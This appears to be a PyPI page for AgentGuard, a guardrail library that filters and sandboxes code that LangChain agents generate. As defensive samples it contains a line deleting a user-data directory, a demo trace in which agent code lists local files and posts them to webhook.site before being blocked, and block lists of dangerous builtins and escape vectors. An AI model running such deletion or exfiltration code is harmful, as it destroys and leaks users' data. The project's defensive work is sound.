Skip to main content

๐Ÿ›ก๏ธ AgentGuard

Experimental security guardrails for LangChain agent code execution.

[!WARNING] Alpha / Proof of Concept โ€” This project is an experimental research tool, not a production-grade security boundary. Code execution is isolated in a Docker container with restrictive defaults, but see known limitations. Use it as an additional layer of defense, not as your only one.

CI PyPI Python License: MIT Code style: ruff


๐Ÿค” The Problem

Modern LangChain agents can generate and execute Python code autonomously. A single malicious prompt or hallucination can lead an agent to generate destructive code:

# An agent asked to "clean up temp files" might generate:
import os
import shutil
shutil.rmtree("/var/data/users")  # ๐Ÿ’€ Oops.

There is no native guardrail in LangChain to prevent this. AgentGuard adds pre-execution filters to catch obvious dangerous patterns before they run.


โœ… What It Does

AgentGuard wraps your agent's code execution tool in a 3-layer validation pipeline. Before any LLM-generated code runs, it must pass through all three layers:

flowchart TD
    A["๐Ÿค– LLM Agent generates code"] --> B{"๐Ÿ” Layer 1: AST Validator"}
    B -->|"โœ… Pass"| C{"๐ŸŒ Layer 2: Network Filter"}
    B -->|"โŒ Blocked"| E["๐Ÿ›ก๏ธ SecurityBlockedError\nโ†’ Agent self-corrects"]
    C -->|"โœ… Pass"| D{"๐Ÿง  Layer 3: Semantic Judge"}
    C -->|"โŒ Blocked"| E
    D -->|"โœ… SAFE"| F["๐Ÿณ Docker Sandbox\nโ†’ Result back to Agent"]
    D -->|"โŒ UNSAFE"| E

    style A fill:#4a9eff,color:#fff
    style B fill:#ff9f43,color:#fff
    style C fill:#ff9f43,color:#fff
    style D fill:#ff9f43,color:#fff
    style E fill:#ee5a24,color:#fff
    style F fill:#2ed573,color:#fff

If any layer blocks the code, the agent receives a descriptive error message and can self-correct โ€” instead of crashing or failing silently.


๐Ÿ›ก๏ธ How It Works in Action

AgentGuard Demo

> Entering new AgentExecutor chain...

Thought: I need to read the local files and send them to a webhook.
Action: safe_python_repl
Action Input:
import os
import requests
files = os.listdir('.')
requests.post('https://webhook.site/test', json={"files": files})

Observation: [AgentGuard | AST Validator] ๐Ÿ”ด BLOCKED โ€” Forbidden import
detected: 'os'. Rewrite the code without the forbidden operation.

Thought: I am not allowed to use the 'os' module. I cannot fulfill this
request as it requires system access.
Final Answer: ๐Ÿ›‘ I am restricted from accessing the local file system or
sending data to external webhooks due to security policies.

๐Ÿš€ Quick Start

pip install securellm-agentguard
from agentguard import SafePythonREPLTool, SecurityPolicy

# Define your security rules
policy = SecurityPolicy(
    allowed_modules=["pandas", "json", "math"],
    allowed_domains=["api.github.com"],
    use_semantic_judge=False,  # Set True + pass judge_llm for Layer 3
)

safe_repl = SafePythonREPLTool(policy=policy)

# Use it in your LangChain agent instead of PythonREPLTool
# agent = create_react_agent(llm=your_llm, tools=[safe_repl])

With Layer 3 (optional โ€” any LangChain-compatible LLM):

from langchain_google_genai import ChatGoogleGenerativeAI  # or ChatOpenAI, ChatAnthropic, etc.

judge_llm = ChatGoogleGenerativeAI(model="gemini-2.0-flash")
safe_repl = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)

Note: Layer 3 works with any BaseChatModel โ€” Gemini, GPT-4, Claude, Mistral, Ollama, etc.


๐Ÿ–ฅ๏ธ Live Web Demo

AgentGuard comes with a built-in FastAPI dashboard to visually test security policies against malicious code in real-time.

# Ensure dev dependencies are installed
poetry install --with dev

# Export your API key for the Semantic Judge (Layer 3)
export GEMINI_API_KEY="your_api_key_here"

# Start the dashboard
poetry run uvicorn demo.app:app

Then open http://localhost:8000 in your browser.


โš™๏ธ SecurityPolicy Options

Parameter Type Default Description
allowed_modules list[str] ["math", "json", ...] Whitelisted Python modules
allowed_domains list[str] [] (block all) Whitelisted network domains
use_semantic_judge bool True Enable LLM semantic analysis
execution_timeout int 10 Max execution seconds

๐Ÿ”’ Security Layers in Detail

Layer 1 โ€” AST Static Validator

Uses Python's native ast module to parse the code without executing it.

Blocks:

  • Any import not explicitly whitelisted in allowed_modules
  • from X import Y style imports of non-whitelisted modules
  • Dangerous built-in calls: exec, eval, compile, open, __import__
  • Common escape vectors: getattr, setattr, delattr, globals, locals

Speed: ~0.1ms โ€” no I/O, no network, pure AST traversal.

Layer 2 โ€” Network Filter

Uses regex patterns to detect outbound network calls and validates target domains against the whitelist.

Detects:

  • requests.get/post/put/delete/patch/head
  • httpx and aiohttp calls
  • urllib.request.urlopen and urlretrieve
  • Raw socket.connect() calls
  • Bare URL literals (https://...)

Note: This is a heuristic regex-based filter, not an OS-level network control. Sophisticated obfuscation may evade it โ€” Layer 3 exists to catch what Layers 1 & 2 miss.

Layer 2.5 โ€” Heuristic Triage (Fast Triage)

A fast, regex-based heuristic scanner that calculates a suspicion score for the code. It looks for sensitive keywords (password, token, etc.) and risky operations. If the score is 0 (completely benign code), this layer bypasses the LLM Judge entirely, drastically reducing latency and API costs. This behavior is enabled by default via triage_skip_llm.

Layer 3 โ€” Semantic Judge (LLM)

For subtle attacks that evade static analysis (e.g. a loop that deletes files one-by-one), the code is sent to a fast LLM (e.g. gemini-2.0-flash) with a strict binary prompt. Session-Level Context: The judge receives the agent's recent execution history, allowing it to detect multi-step escalation attacks.

Verdict: Only code classified as SAFE passes. Anything else (including ambiguous responses) is blocked โ€” fail-closed by design.

Note: The LLM judge is a probabilistic defense โ€” it can be wrong. It also sends code to a third-party API. Use it as an additional signal, not as a guarantee.

Docker Sandbox Execution (v0.2)

Code that passes all 3 layers runs in a short-lived Docker container with restrictive defaults:

  • No network โ€” --network none
  • Read-only filesystem โ€” --read-only with a small writable /tmp
  • Non-root user โ€” runs as nobody (UID 65534)
  • All capabilities dropped โ€” --cap-drop ALL, --security-opt no-new-privileges
  • Resource limits โ€” configurable CPU, memory, PID, and output-size caps
  • Fail-closed โ€” if Docker is unavailable, execution is refused (no fallback to in-process exec())
  • Killable timeout โ€” the container is forcibly terminated on timeout

Requirement: Docker must be installed and running. Install it from docker.com.


๐Ÿ“‹ Audit Trail

AgentGuard can log every execution decision as a structured JSON event โ€” useful for compliance, debugging, and security monitoring.

from agentguard import SafePythonREPLTool, SecurityPolicy, AuditLogger, JsonFileHandler

# Log to a JSONL file (one JSON object per line)
audit = AuditLogger(handlers=[JsonFileHandler("agentguard.log")])
tool = SafePythonREPLTool(policy=SecurityPolicy(), audit=audit)

Each event records:

  • Verdict โ€” ALLOWED, BLOCKED, TIMEOUT, ERROR, or SANDBOX_UNAVAILABLE
  • Blocking layer โ€” which layer blocked the code (ASTValidator, NetworkFilter, SemanticJudge)
  • Timing โ€” wall-clock execution time in milliseconds
  • Session ID โ€” groups events from the same tool instance
  • Policy hash โ€” fingerprint of the active security policy

Built-in handlers: JsonFileHandler (JSONL file), StdoutHandler (stderr), CallbackHandler (custom function for webhooks/SIEM).

Zero overhead when disabled โ€” if you don't pass an audit parameter, nothing happens.


โš ๏ธ Known Limitations

This is an alpha-stage research project. The following limitations are known:

Limitation Detail
Docker is required Code execution requires a running Docker daemon. The sandbox fails closed if Docker is unavailable.
Regex-based network filter The network filter is heuristic. Obfuscated URLs or dynamically-constructed network calls will not be caught by Layer 2.
LLM judge is probabilistic The semantic judge can be wrong, manipulated, or bypassed. It also sends code to a third-party API.
Image trust The default image is python:3.11-alpine. Production deployments should pin to a reviewed digest.

๐Ÿ“ Project Structure

agentguard/
โ”œโ”€โ”€ agentguard/
โ”‚   โ”œโ”€โ”€ __init__.py              # Public API exports
โ”‚   โ”œโ”€โ”€ policy.py                # SecurityPolicy (Pydantic model)
โ”‚   โ”œโ”€โ”€ audit.py                 # Structured Audit Trail logger
โ”‚   โ”œโ”€โ”€ exceptions.py            # SecurityBlockedError
โ”‚   โ”œโ”€โ”€ sandbox.py               # DockerSandboxExecutor (v0.2)
โ”‚   โ”œโ”€โ”€ validators/
โ”‚   โ”‚   โ”œโ”€โ”€ ast_validator.py     # Layer 1: Static AST analysis
โ”‚   โ”‚   โ”œโ”€โ”€ network_filter.py    # Layer 2: Network domain filter
โ”‚   โ”‚   โ””โ”€โ”€ heuristic_triage.py  # Layer 2.5: Fast triage to skip LLM
โ”‚   โ”œโ”€โ”€ judges/
โ”‚   โ”‚   โ””โ”€โ”€ gemini_judge.py      # Layer 3: LLM semantic judge (context-aware)
โ”‚   โ””โ”€โ”€ tools/
โ”‚       โ””โ”€โ”€ langchain_tool.py    # SafePythonREPLTool (LangChain BaseTool)
โ”œโ”€โ”€ benchmarks/
โ”‚   โ”œโ”€โ”€ runner.py                # Adversarial benchmark runner
โ”‚   โ””โ”€โ”€ suite.py                 # 40 attack cases across 8 categories
โ”œโ”€โ”€ tests/                       # Pytest suite + Docker integration tests
โ”œโ”€โ”€ examples/
โ”‚   โ”œโ”€โ”€ basic_agent.py           # Simple agent + AgentGuard demo
โ”‚   โ””โ”€โ”€ threat_intel_demo.py     # Threat analysis agent demo
โ”œโ”€โ”€ pyproject.toml               # Poetry config + metadata
โ”œโ”€โ”€ .github/workflows/ci.yml     # GitHub Actions CI
โ””โ”€โ”€ README.md

๐Ÿ—บ๏ธ Roadmap

  • 3-layer validation pipeline (AST + Network + Semantic Judge)
  • LangChain BaseTool integration
  • Timeout enforcement
  • GitHub Actions CI
  • PyPI Publication โ€” pip install securellm-agentguard
  • Live Web App / Dashboard โ€” a static browser app to visually test AgentGuard policies
  • Visual Demo โ€” animated GIF showing AgentGuard blocking and auto-correcting in real-time
  • Docker Sandbox Isolation (v0.2) โ€” fail-closed container execution with no network, read-only FS, non-root, resource limits
  • Domain allowlist hardening โ€” fixed suffix-matching vulnerability
  • CLI Support โ€” run AgentGuard locally on Python scripts (e.g., agentguard check script.py)
  • Adversarial Test Suite โ€” sandbox escape tests, obfuscation tests, resource abuse tests
  • Logging & Audit Trail โ€” structured logs of every blocked/allowed execution
  • Plugin System โ€” custom validator layers via a simple interface
  • LangSmith Integration โ€” trace security events in LangSmith

๐Ÿค Contributing

Contributions are welcome! Please read CONTRIBUTING.md first.

๐Ÿ” Security

Found a vulnerability? Please read SECURITY.md for responsible disclosure instructions.

๐Ÿ“„ License

MIT โ€” see LICENSE.


Built by Thomas LEON ยท Emerging Technologies & Threat Intelligence

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

securellm_agentguard-0.3.0.tar.gz (23.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

securellm_agentguard-0.3.0-py3-none-any.whl (24.7 kB view details)

Uploaded Python 3

File details

Details for the file securellm_agentguard-0.3.0.tar.gz.

File metadata

  • Download URL: securellm_agentguard-0.3.0.tar.gz
  • Upload date:
  • Size: 23.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for securellm_agentguard-0.3.0.tar.gz
Algorithm Hash digest
SHA256 17ea36fa3d3315ba093fe1bb61794f246c20fa088b6133cb51560de4220485dd
MD5 ba862e3dac151e360693dbf77f4617cb
BLAKE2b-256 b656ce9e616afddbb83e44dadc7256da8f2d67ac86b4679883b03f01e8896138

See more details on using hashes here.

Provenance

The following attestation bundles were made for securellm_agentguard-0.3.0.tar.gz:

Publisher: publish.yml on Thomas-LEON/agentguard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file securellm_agentguard-0.3.0-py3-none-any.whl.

File metadata

File hashes

Hashes for securellm_agentguard-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 9af064279d88aec5ef811504d76be88076b66b34f14264db64f91748bf2877a7
MD5 c9d6ad98f104c1bc028041b6043a5b31
BLAKE2b-256 dae4533e09c250d85c092e58799d4e6ecf2ce88d2ace16d60d37d7363f7c689e

See more details on using hashes here.

Provenance

The following attestation bundles were made for securellm_agentguard-0.3.0-py3-none-any.whl:

Publisher: publish.yml on Thomas-LEON/agentguard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page